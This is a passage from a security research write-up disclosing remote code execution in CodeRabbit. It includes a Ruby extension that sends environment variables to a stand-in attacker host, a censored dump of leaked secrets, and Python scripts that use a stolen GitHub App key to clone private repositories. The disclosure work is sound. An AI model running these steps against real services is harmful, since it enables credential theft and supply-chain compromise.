0% found this document useful (0 votes)
189 views32 pages

How We Exploited CodeRabbit - From A Simple PR To RCE and Write Access On 1M Repositories - Kudelski Security Research

Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
189 views32 pages

How We Exploited CodeRabbit - From A Simple PR To RCE and Write Access On 1M Repositories - Kudelski Security Research

Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 32

How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...

The Latest News from Research at Kudelski Security

HOME CATEGORIES 
HOME CATEGORIES 

SEARCH

…
Search

CATEGO
RIES

Select Category

HOW WE EXPLOITED
CODERABBIT: FROM A SIMPLE
ARCHIV
PR TO RCE AND WRITE ACCESS ES

ON 1M REPOSITORIES Select Month

 August 19, 2025  Nils Amiet  AI Security 

1 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...

Leave a comment
TWITTE
In this blog post, we explain how we got remote R
code execution (RCE) on CodeRabbit’s production @KUDEL
servers, leaked their API tokens and secrets, how
SKISEC
we could have accessed their PostgreSQL My
database, and how we obtained read and write Tweets
access to 1 million code repositories, including
private ones.

This blog post is a detailed write-up of one of the


vulnerabilities we disclosed at Black Hat USA this
year. The details provided in this post are meant to
demonstrate how these security issues can
manifest and be exploited in the hopes that others
can avoid similar issues. This is not meant to
shame any particular vendor; it happens to
everyone. Security is a process, and avoiding
vulnerabilities takes constant vigilance.

We appreciate CodeRabbit’s swift action


after we reported this security vulnerability. They
reported to us that within hours, they addressed
the issue and strengthened their overall security
measures responding with the following:

• They con�rmed the vulnerability and


immediately began remediation, starting by
disabling Rubocop until a �x was in place.
• All potentially impacted credentials and secrets
were rotated within hours.

2 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...

• A permanent �x was deployed to production,


relocating Rubocop into their secure sandbox
environment.
• They carried out a full audit of their systems to
ensure no other services were running outside
of sandbox protections, automated sandbox
enforcement to prevent recurrence, and added
hardened deployment gates.

Introduction
Last December, I spoke at 38C3 in Hamburg and
covered 2 security �aws I discovered in Qodo
Merge. After getting o� the stage, someone came
to me and asked whether I had looked at other AI
code review tools, such as CodeRabbit. I thanked
them and said this would be a great target to have
a look at. Fast forward a couple of weeks, and here
I am, having a look at their security.

What is CodeRabbit?

CodeRabbit front page

CodeRabbit is an AI code review tool. Their website


mentions it’s the most installed AI app on GitHub &
Gitlab, with 1 million repositories in review and 5

3 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...

million pull requests reviewed.

1 million repositories in review

Indeed, CodeRabbit is the most installed GitHub


app in the AI Assisted category on GitHub
Marketplace. It is also on the �rst page of the most
installed GitHub apps overall across all categories
on GitHub Marketplace.

CodeRabbit is the most installed AI-assisted app on GitHub


marketplace

Once CodeRabbit is installed on a repository, every


time a new pull request (PR) is created or updated,
CodeRabbit will analyze the code changes in the
PR and review them using AI. CodeRabbit will
�nally post its code review as a comment on the
pull request, where the developer can read it.

This is a very useful developer productivity tool


that can summarize PRs, �nd security issues in the
code, suggest code improvements or even
document the code or illustrate it by generating
diagrams. It can save developers a lot of time.

4 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...

Trying out CodeRabbit


CodeRabbit has multiple pricing plans, and one of
them is called Pro. That one includes support for
linters and SAST tools, such as Semgrep.
Alternatively, there’s a free 14-day trial for the Pro
plan. Also, the Pro plan comes for free for people
working on open source projects.

CodeRabbit pricing

I registered for the free trial and logged in using


my GitHub account.

5 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...

Login with GitHub

When �rst logging into CodeRabbit using GitHub,


the application asks to install and authorize on a
personal GitHub account. The user is asked to
select which repositories CodeRabbit should be
installed to. The user can also review the
permissions that the CodeRabbit GitHub app will
be granted. Namely, read and write access to code
in the selected repositories.

6 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...

Installing CodeRabbit on a personal GitHub account

At this point, this sounded very similar to what


happened with Qodo Merge. I had to look into it. If
somehow we could leak the GitHub API token, we
would get read and write access to the repository
in which CodeRabbit was installed.

I immediately created a private GitHub repository


on my personal GitHub account and granted
CodeRabbit access to that new repository so that it
starts reviewing my PRs on that repo.

In order to get more familiar with CodeRabbit’s


features and how to use them, I created a PR and

7 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...

saw that a comment containing a code review was


posted by the CodeRabbit bot. Here are a few
screenshots of what CodeRabbit generated.

CodeRabbit explains what the PR does

CodeRabbit can �nd security issues in your code and suggest


improvements

CodeRabbit even generated a diagram that explained how the app


worked

8 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...

Now that I had a better idea of how it worked, I


could start looking for vulnerabilities.

Exploiting external
tools
I had a look at the o�cial CodeRabbit
documentation and noticed that CodeRabbit
supported running dozens of static analysis tools.
These are the linters and SAST tools mentioned on
the CodeRabbit pricing page discussed above.

CodeRabbit runs these tools on your PR changes


depending on a few conditions:

• The tool is enabled in the CodeRabbit


con�guration
• The PR contains large enough changes to
trigger a run of such tools. Small changes will
be ignored and no tool will run on those
• The PR contains �les supported by the tool. For
example, PHPStan will only run on �les with the
.php extension

Some tools are enabled by default and will run if


corresponding �les exist. Otherwise, a
.coderabbit.yaml �le placed in the repository can be
used to con�gure which tools should be enabled.
Alternatively, the CodeRabbit web app settings can
be used to con�gure tools.

9 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...

The documentation page also states that each tool


can be con�gured by providing a path to a
con�guration �le read by the tool. Now we’re
talking!

Since CodeRabbit executes these external tools, if


any of these tools have a way to inject code, we
may be able to run arbitrary code. So I glanced
over the list of supported tools and found an
interesting target: Rubocop, a Ruby static analyzer.
The CodeRabbit documentation page for Rubocop
states that Rubocop will run on Ruby �les (.rb) in
the repository. It also says that CodeRabbit will
look for a .rubocop.yml �le anywhere in the
repository and pass it to Rubocop.

Rubocop runs on Ruby �les (.rb)


Source: CodeRabbit documentation

CodeRabbit looks for Rubocop con�g �les anywhere in the


repository and, if found, passes it to Rubocop
Source: CodeRabbit documentation

Looking at Rubocop’s documentation, we see that


it supports extensions. One can use the Rubocop

10 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...

con�guration �le to specify the path to an


extension Ruby �le, for example, ext.rb, which will
be loaded and executed by Rubocop. To do so, one
can include the following snippet in .rubocop.yml:

1 require:
2 - ./ext.rb

In ext.rb, we can write arbitrary Ruby code that will


be loaded and executed when Rubocop runs. We’ll
use 1.2.3.4 as an example IP address that stands in
for an attacker-controlled system. For example, the
following Ruby script will collect the environment
variables and send them to an attacker-controlled
server at 1.2.3.4:

1 require 'net/http'
2 require 'uri'
3 require 'json'
4
5 # Collect environment variables
6 env_vars = ENV.to_h
7
8 # Convert environment variables to JSON format
9 json_data = env_vars.to_json
10
11 # Define the URL to send the HTTP POST request
12 url = URI.parse('http://1.2.3.4/')
13
14 begin
15 # Create the HTTP POST request
16 http = Net::HTTP.new(url.host, url.port)
17 request = Net::HTTP::Post.new(url.path)
18 request['Content-Type'] = 'application/json'
19 request.body = json_data
20
21 # Send the request
22 response = http.request(request)
23 rescue StandardError => e
24 puts "An error occurred: #{e.message}"
25 end

11 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...

Exploiting this is as simple as following these


steps:

• Get a free trial on CodeRabbit and register using


a personal GitHub account
• Create a private repository and grant
CodeRabbit access to it, so that it reviews PRs on
that repository
• Create a PR that contains the following �les:
• A .rubocop.yml �le as shown above
• An ext.rb �le as shown above
• Any other large enough dummy Ruby �le
so that CodeRabbit triggers the execution
of Rubocop and does not skip the �le
• Wait for CodeRabbit to perform the code review
and run our malicious ext.rb �le
• Collect the ex�ltrated environment variables in
the HTTP POST request received on our
attacker-controlled server at 1.2.3.4

Here’s an illustration of our malicious pull request


to better understand how it works:

12 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...

main.rb

# Contains dummy
# Ruby code so
# that Rubocop
# gets executed

puts "hello"

.rubocop.yml

# Instructs
# Rubocop to load
# extension in
# file ext.rb

require:
./ext.rb

13 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...

ext.rb

# Malicious Ruby
# code goes here
#
# Example:
#
# Send all env vars
# to http://1.2.3.4

An illustration of what the malicious pull request looks like

Unpacking what we
found
After we created our malicious PR, CodeRabbit ran
Rubocop on our code, which executed our
malicious code and sent its environment variables
to our server at 1.2.3.4.

On the server at 1.2.3.4, the following JSON payload


containing environment variables was received:

1 {
2 "ANTHROPIC_API_KEYS": "sk-ant-api03-(CENSORED)"
3 "ANTHROPIC_API_KEYS_FREE": "sk-ant-api03-(CENSOR
4 "ANTHROPIC_API_KEYS_OSS": "sk-ant-api03-(CENSORE
5 "ANTHROPIC_API_KEYS_PAID": "sk-ant-api03-(CENSOR
6 "ANTHROPIC_API_KEYS_TRIAL": "sk-ant-api03-(CENSO
7 "APERTURE_AGENT_ADDRESS": "(CENSORED)"
8 "APERTURE_AGENT_KEY": "(CENSORED)"
9 "AST_GREP_ESSENTIALS": "ast-grep-essentials"
10 "AST_GREP_RULES_PATH": "/home/jailuser/ast-grep-

14 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...

11 "AWS_ACCESS_KEY_ID": "",
12 "AWS_REGION": "",
13 "AWS_SECRET_ACCESS_KEY": "",
14 "AZURE_GPT4OMINI_DEPLOYMENT_NAME"
15 "AZURE_GPT4O_DEPLOYMENT_NAME":
16 "AZURE_GPT4TURBO_DEPLOYMENT_NAME"
17 "AZURE_O1MINI_DEPLOYMENT_NAME":
18 "AZURE_O1_DEPLOYMENT_NAME": "",
19 "AZURE_OPENAI_API_KEY": "",
20 "AZURE_OPENAI_ENDPOINT": "",
21 "AZURE_OPENAI_ORG_ID": "",
22 "AZURE_OPENAI_PROJECT_ID": "",
23 "BITBUCKET_SERVER_BOT_TOKEN": ""
24 "BITBUCKET_SERVER_BOT_USERNAME"
25 "BITBUCKET_SERVER_URL": "",
26 "BITBUCKET_SERVER_WEBHOOK_SECRET"
27 "BUNDLER_ORIG_BUNDLER_VERSION":
28 "BUNDLER_ORIG_BUNDLE_BIN_PATH":
29 "BUNDLER_ORIG_BUNDLE_GEMFILE":
30 "BUNDLER_ORIG_GEM_HOME": "BUNDLER_ENVIRONMENT_PR
31 "BUNDLER_ORIG_GEM_PATH": "BUNDLER_ENVIRONMENT_PR
32 "BUNDLER_ORIG_MANPATH": "BUNDLER_ENVIRONMENT_PRE
33 "BUNDLER_ORIG_PATH": "/pnpm:/usr/local/go/bin:/r
34 "BUNDLER_ORIG_RB_USER_INSTALL":
35 "BUNDLER_ORIG_RUBYLIB": "BUNDLER_ENVIRONMENT_PRE
36 "BUNDLER_ORIG_RUBYOPT": "BUNDLER_ENVIRONMENT_PRE
37 "CI": "true",
38 "CLOUD_API_URL": "https://(CENSORED)"
39 "CLOUD_RUN_TIMEOUT_SECONDS": "3600"
40 "CODEBASE_VERIFICATION": "true"
41 "CODERABBIT_API_KEY": "",
42 "CODERABBIT_API_URL": "https://
43 "COURIER_NOTIFICATION_AUTH_TOKEN"
44 "COURIER_NOTIFICATION_ID": "(CENSORED)"
45 "DB_API_URL": " https://(CENSORED)"
46 "ENABLE_APERTURE": "true",
47 "ENABLE_DOCSTRINGS": "true",
48 "ENABLE_EVAL": "false",
49 "ENABLE_LEARNINGS": "",
50 "ENABLE_METRICS": "",
51 "ENCRYPTION_PASSWORD": "(CENSORED)"
52 "ENCRYPTION_SALT": "(CENSORED)"
53 "FIREBASE_DB_ID": "",
54 "FREE_UPGRADE_UNTIL": "2025-01-15"
55 "GH_WEBHOOK_SECRET": "(CENSORED)"
56 "GITHUB_APP_CLIENT_ID": "(CENSORED)"
57 "GITHUB_APP_CLIENT_SECRET": "(CENSORED)"
58 "GITHUB_APP_ID": "(CENSORED)",
59 "GITHUB_APP_NAME": "coderabbitai"
60 "GITHUB_APP_PEM_FILE": "-----BEGIN RSA PRIVATE K
61 "GITHUB_CONCURRENCY": "8",

15 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...

62 "GITHUB_ENV": "",
63 "GITHUB_EVENT_NAME": "",
64 "GITHUB_TOKEN": "",
65 "GITLAB_BOT_TOKEN": "(CENSORED)"
66 "GITLAB_CONCURRENCY": "8",
67 "GITLAB_WEBHOOK_SECRET": "",
68 "HOME": "/root",
69 "ISSUE_PROCESSING_BATCH_SIZE":
70 "ISSUE_PROCESSING_START_DATE":
71 "JAILUSER": "jailuser",
72 "JAILUSER_HOME_PATH": "/home/jailuser"
73 "JIRA_APP_ID": "(CENSORED)",
74 "JIRA_APP_SECRET": "(CENSORED)"
75 "JIRA_CLIENT_ID": "(CENSORED)",
76 "JIRA_DEV_CLIENT_ID": "(CENSORED)"
77 "JIRA_DEV_SECRET": "(CENSORED)"
78 "JIRA_HOST": "",
79 "JIRA_PAT": "",
80 "JIRA_SECRET": "(CENSORED)",
81 "JIRA_TOKEN_URL": "https://auth.atlassian.com/oa
82 "K_CONFIGURATION": "pr-reviewer-saas"
83 "K_REVISION": "pr-reviewer-saas-(CENSORED)"
84 "K_SERVICE": "pr-reviewer-saas"
85 "LANGCHAIN_API_KEY": "(CENSORED)"
86 "LANGCHAIN_PROJECT": "default",
87 "LANGCHAIN_TRACING_SAMPLING_RATE_CR"
88 "LANGCHAIN_TRACING_V2": "true",
89 "LANGUAGETOOL_API_KEY": "(CENSORED)"
90 "LANGUAGETOOL_USERNAME": "(CENSORED)"
91 "LD_LIBRARY_PATH": "/usr/local/lib:/usr/lib:/lib
92 "LINEAR_PAT": "",
93 "LLM_PROVIDER": "",
94 "LLM_TIMEOUT": "300000",
95 "LOCAL": "false",
96 "NODE_ENV": "production",
97 "NODE_VERSION": "22.9.0",
98 "NPM_CONFIG_REGISTRY": "http://
99 "OAUTH2_CLIENT_ID": "",
100 "OAUTH2_CLIENT_SECRET": "",
101 "OAUTH2_ENDPOINT": "",
102 "OPENAI_API_KEYS": "sk-proj-(CENSORED)"
103 "OPENAI_API_KEYS_FREE": "sk-proj-(CENSORED)"
104 "OPENAI_API_KEYS_OSS": "sk-proj-(CENSORED)"
105 "OPENAI_API_KEYS_PAID": "sk-proj-(CENSORED)"
106 "OPENAI_API_KEYS_TRIAL": "sk-proj-(CENSORED)"
107 "OPENAI_BASE_URL": "",
108 "OPENAI_ORG_ID": "",
109 "OPENAI_PROJECT_ID": "",
110 "PATH": "/pnpm:/usr/local/go/bin:/root/.local/bi
111 "PINECONE_API_KEY": "(CENSORED)"
112 "PINECONE_ENVIRONMENT": "us-central1-gcp"

16 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...

113 "PNPM_HOME": "/pnpm",


114 "PORT": "8080",
115 "POSTGRESQL_DATABASE": "(CENSORED)"
116 "POSTGRESQL_HOST": "(CENSORED)"
117 "POSTGRESQL_PASSWORD": "(CENSORED)"
118 "POSTGRESQL_USER": "(CENSORED)"
119 "PWD": "/inmem/21/d277c149-9d6a-4dde-88cc-03f724
120 "REVIEW_EVERYTHING": "false",
121 "ROOT_COLLECTION": "",
122 "SELF_HOSTED": "",
123 "SELF_HOSTED_KNOWLEDGE_BASE": ""
124 "SELF_HOSTED_KNOWLEDGE_BASE_BRANCH"
125 "SENTRY_DSN": "https://(CENSORED)"
126 "SERVICE_NAME": "pr-reviewer-saas"
127 "SHLVL": "0",
128 "TELEMETRY_COLLECTOR_URL": "https://
129 "TEMP_PATH": "/inmem",
130 "TINI_VERSION": "v0.19.0",
131 "TRPC_API_BASE_URL": "https://(CENSORED)"
132 "VECTOR_COLLECTION": "",
133 "YARN_VERSION": "1.22.22",
134 "_": "/usr/local/bin/rubocop"
135 }

That payload contained so many secrets that it


actually took me a few minutes to grasp what we
had gotten access to. The environment variables
contained, notably:

• Anthropic API keys (free, oss, paid, trial, etc.)


• OpenAI API keys (free, oss, paid, trial, etc.)
• Aperture agent key
• Courier auth token
• Encryption password and salt
• Gitlab personal access token
• CodeRabbit GitHub App private key, app client
id, app client secret, app id
• Jira secret
• Langchain/langsmith API key
• LanguageTool API key

17 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...

• Pinecone API key


• PostgreSQL database host, username and
password

Leaking environment variables is one thing, but


since we obtained remote code execution (RCE) on
that server, there is even more that an attacker
could have done. Indeed, they could connect to
the Postgres database server on the internal
network. They could perform destructive
operations. They could likely obtain the source
code of the CodeRabbit app itself which is
potentially somewhere in the Docker container
where the external tool runs.

Before exploring the leaked environment variables


further, we performed a few minimal
reconnaissance operations, such as listing a few
directories and reading the contents of a couple
�les on the production system, just to con�rm the
impacts. But this process was not really e�cient
and we were not able to quickly con�rm the
presence of the original source code of the
CodeRabbit webapp there. However, the built
application was there in the /app/pr-reviewer-saas/
dist directory.
Additionally, since this was a production server, we
didn’t want to do anything that could disrupt the
CodeRabbit service and decided to stop there.
But there was more. Let’s go back to the ex�ltrated
environment variables.

18 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...

Getting Read/write
access to 1M
repositories
As mentioned above, one of the environment
variables was named GITHUB_APP_PEM_FILE and its
value contained a private key. This is actually the
private key of the CodeRabbit GitHub app. This
private key can be used to authenticate to the
GitHub REST API and act on behalf of the
CodeRabbit GitHub app. Since users of CodeRabbit
have granted CodeRabbit write access to their
repositories, this private key gives us write access
to 1 million repositories!

Let’s go through a few operations that one can


perform with this private key.

Listing installations of the


CodeRabbit app
As of writing, the CodeRabbit GitHub app was
installed over 80’000 times. Basically, this tells us
that at least that amount of GitHub personal
accounts or organizations installed CodeRabbit
and use it for at least one of their repositories. But
these accounts may very well have granted access
to more than one repository, or even all of their
repositories.

19 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...

The CodeRabbit website states that they review 1M


repositories. These include GitHub repositories,
but likely also repositories from other platforms
that CodeRabbit supports, such as Gitlab, and on-
premises git providers.

We will see below (see Proof of concept) how one


can programatically list GitHub app installations
using the GitHub API.

Listing GitHub repositories


CodeRabbit has access to
For a given installation, one can list the GitHub
repositories to which this installation has been
granted access.

We can also see that the installation has read/write


access to the code of the repository, among other
permissions. For reference, this is the list of
permissions the CodeRabbit app has on the
repositories it has access to:

1 "permissions": {
2 "actions": "read",
3 "checks": "read",
4 "contents": "write",
5 "discussions": "read",
6 "issues": "write",
7 "members": "read",
8 "metadata": "read",
9 "pull_requests": "write",
10 "statuses": "write"
11 },

Note that these permissions are public information

20 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...

that anyone can see here.

Generating an access token valid


for repositories that CodeRabbit
has access to
A GitHub API access token can be created for the
CodeRabbit app installation. This access token has
all the permissions listed above and can be used
on all the repositories the app installation has
access to. It can be used to, for example, clone the
repository or push git commits to it, since we not
only have read access but also write access to the
contents. This can also be used to update GitHub
releases, including the downloadable �les (the
assets), and replace them with malware and
therefore serve malware directly from the targeted
o�cial GitHub repository.

The access token is valid for at most 10 minutes,


but since we have the private key, more access
tokens can be generated at any time, even if they
expire.

Cloning private repositories


CodeRabbit has access to
But this gets even scarier. Generated access tokens
can also be used to clone private repositories (!)
that the user has granted CodeRabbit access to.
Indeed, as long as the user has granted
CodeRabbit access to a repository, the private key

21 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...

can be used to access it. It doesn’t matter if it’s


public or private.
Therefore, a malicious person could exploit the
vulnerability to leak the CodeRabbit GitHub app
private key, list all the installations, list each
repository, generate an access token for each
repository, and clone private repositories, serve
malware from public repositories or manipulate
the git history of a repository. This could be used
to perform lateral movement and potentially leak
GitHub repository secrets of the GitHub repository
through GitHub actions if the targeted repository
contains vulnerable GitHub actions.

Proof of concept
Here’s an example of how this can be achieved
using the PyGitHub Python library, assuming that
the private key is stored in a �le called priv.pem and
that we have the app ID and client ID (also leaked
from the environment variables):

1 #!/usr/bin/env python3
2 import json
3 import time
4
5 import jwt
6 import requests
7 from github import Auth, GithubIntegration
8
9 with open("priv.pem", "r") as f:
10 signing_key = f.read()
11
12 app_id = "TODO_insert_app_id_here"
13 client_id = "Iv1.TODO_insert_client_id_here"
14
15

22 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...

16 def gen_jwt():
17 payload = {
18 # Issued at time
19 'iat': int(time.time() - 60
20 # JWT expiration time (10 minutes maximum)
21 'exp': int(time.time()) +
22 # GitHub App's client ID
23 'iss': client_id
24 }
25
26 # Create JWT
27 encoded_jwt = jwt.encode(payload, signing_key,
28 return encoded_jwt
29
30
31 def create_access_token(install_id, jwt):
32 response = requests.post(
33 f"https://api.github.com/app/installations/
34 headers={
35 "Accept": "application/vnd.github+json"
36 "Authorization": f"Bearer {jwt}"
37 "X-GitHub-Api-Version"
38 }
39 )
40 j = response.json()
41 access_token = j["token"]
42 return access_token
43
44
45 def auth():
46 auth = Auth.AppAuth(app_id, signing_key)
47 gi = GithubIntegration(auth=auth)
48 app = gi.get_app()
49
50 # iterate through app installations, get the fi
51 for installation in gi.get_installations().
52 install_id = installation.
53
54 # or access an installation by its ID directly
55 installation = gi.get_app_installation(install_
56
57 jwt = gen_jwt()
58 create_access_token(install_id, jwt)
59
60 # get all github repositories this installation
61 repos = installation.get_repos()
62 for repo in repos:
63 full_name = repo.full_name
64 stars = repo.stargazers_count
65 html_url = repo.html_url
66 is_private_repo = repo.private

23 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...

67 clone_url = f"https://x-access-token:
68 print(clone_url)
69
70 # repo can be cloned with "git clone {clone
71 # access token is valid for 10 minutes, but
72
73 if __name__ == "__main__":
74 auth()

Obviously, iterating through the list of all GitHub


installations of the CodeRabbit app would have
required making thousands of requests to the
GitHub API on behalf of the production
CodeRabbit GitHub app and this may have
exceeded the API quota. We didn’t want to risk
disrupting the production CodeRabbit service so
we only iterated through a couple installations to
con�rm the PoC was working.

Leaking CodeRabbit’s
private repositories
We mentioned earlier that we couldn’t con�rm the
presence of the original source code of CodeRabbit
on the production Docker container. Well, since
CodeRabbit eats their own dog food, they run
CodeRabbit on their own GitHub repositories. We
can therefore easily retrieve the app installation ID
for their GitHub organization and list the
repositories this app installation has access to.

This is the list of private repositories the


coderabbitai GitHub organization has granted
CodeRabbit access to:

24 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...

• https://github.com/coderabbitai/mono
• https://github.com/coderabbitai/pr-reviewer-
saas
• https://github.com/coderabbitai/e2e-reviewer
• https://github.com/coderabbitai/pr-reviewer-
client
• https://github.com/coderabbitai/db-client
• https://github.com/coderabbitai/rabbits-lab
• https://github.com/coderabbitai/website
• https://github.com/coderabbitai/hubspot-
reporting

To go further, one can generate an access token


(as explained above) and clone these private
repositories, including what looks like their
monorepo (coderabbitai/mono) or the coderabbitai/pr-
reviewer-saas repository.

Here’s the PoC to do this. Note that it’s similar to


the above, except that we directly retrieve the app
installation for a speci�c GitHub organization by its
name, instead of iterating through all the
installations:

1 #!/usr/bin/env python3
2 import time
3
4 import jwt
5 import requests
6 from github import Auth, GithubIntegration
7
8 with open("priv.pem", "r") as f:
9 signing_key = f.read()
10
11 app_id = "CENSORED"
12 client_id = "CENSORED"
13

25 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...

14
15 def gen_jwt():
16 payload = {
17 # Issued at time
18 'iat': int(time.time() - 60
19 # JWT expiration time (10 minutes maximum)
20 'exp': int(time.time()) +
21 # GitHub App's client ID
22 'iss': client_id
23 }
24
25 # Create JWT
26 encoded_jwt = jwt.encode(payload, signing_key,
27 return encoded_jwt
28
29
30 def auth():
31 auth = Auth.AppAuth(app_id, signing_key)
32 gi = GithubIntegration(auth=auth)
33
34 # Target a specific Github organization that us
35 org = "coderabbitai"
36 installation = gi.get_org_installation(org)
37
38 # Target a specific Github user that uses CodeR
39 # user = "amietn"
40 # installation = gi.get_user_installation(user)
41
42 print(installation.id)
43 gen_token = True
44
45 if gen_token:
46 jwt = gen_jwt()
47 response = requests.post(
48 f"https://api.github.com/app/installati
49 headers={
50 "Accept": "application/vnd.github+j
51 "Authorization": f
52 "X-GitHub-Api-Version"
53 }
54 )
55 j = response.json()
56 access_token = j["token"]
57
58 repos = installation.get_repos()
59 print("---repos---")
60 for repo in repos:
61 full_name = repo.full_name
62 html_url = repo.html_url
63 private = repo.private
64 if private:

26 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...

65 print(f"* {full_name} ({private=}) - {h


66
67 if gen_token:
68 clone_url = f"https://x-access-toke
69 print(clone_url)
70
71
72 if __name__ == "__main__":
73 auth()

In a similar way, a malicious person could target


not only a speci�c GitHub organization but also a
speci�c GitHub personal account that uses
CodeRabbit and access their private repositories
and/or modify them.

As you can see, one can directly obtain the app


installation ID for an organization or a user. So, this
way there is no need to iterate through all the
GitHub app installations to �nd a speci�c GitHub
user or organization. Only the organization or
user’s name is required.

Impacts summary
Let’s take a moment to summarize the impacts of
getting write access to these 1 million repositories.
A malicious person could have performed the
following operations on a�ected repositories:

• Access private GitHub repositories nobody was


ever supposed to access. This is a privacy
breach.
• Modify the git history of a�ected GitHub
repositories – Note that this can be a supply

27 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...

chain attack since GitHub repositories are often


the source for building software before it’s
distributed
• Modify existing GitHub releases and replace or
add malicious downloadable �les – Supply chain
attack
• Further lateral moves to potentially leak GitHub
repository secrets by exploiting existing
vulnerable GitHub actions by pushing git
commits – Note that since the CodeRabbit
GitHub app doesn’t have write permission to
work�ows, GitHub actions can’t be directly
modi�ed. However, a vulnerable GitHub action
may be exploited more easily with write access
to the git repository. See the talk I gave at 38C3
for more details on how we found an instance
where this was exploitable.

Additionally, we obtained RCE on the CodeRabbit


production system. A malicious person could have
performed destructive operations, caused a denial
of service, or performed malicious operations on
third party systems (see list of leaked secrets
above).

Context is key
While running the exploit, CodeRabbit would still
review our pull request and post a comment on
the GitHub PR saying that it detected a critical
security risk, yet the application would happily

28 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...

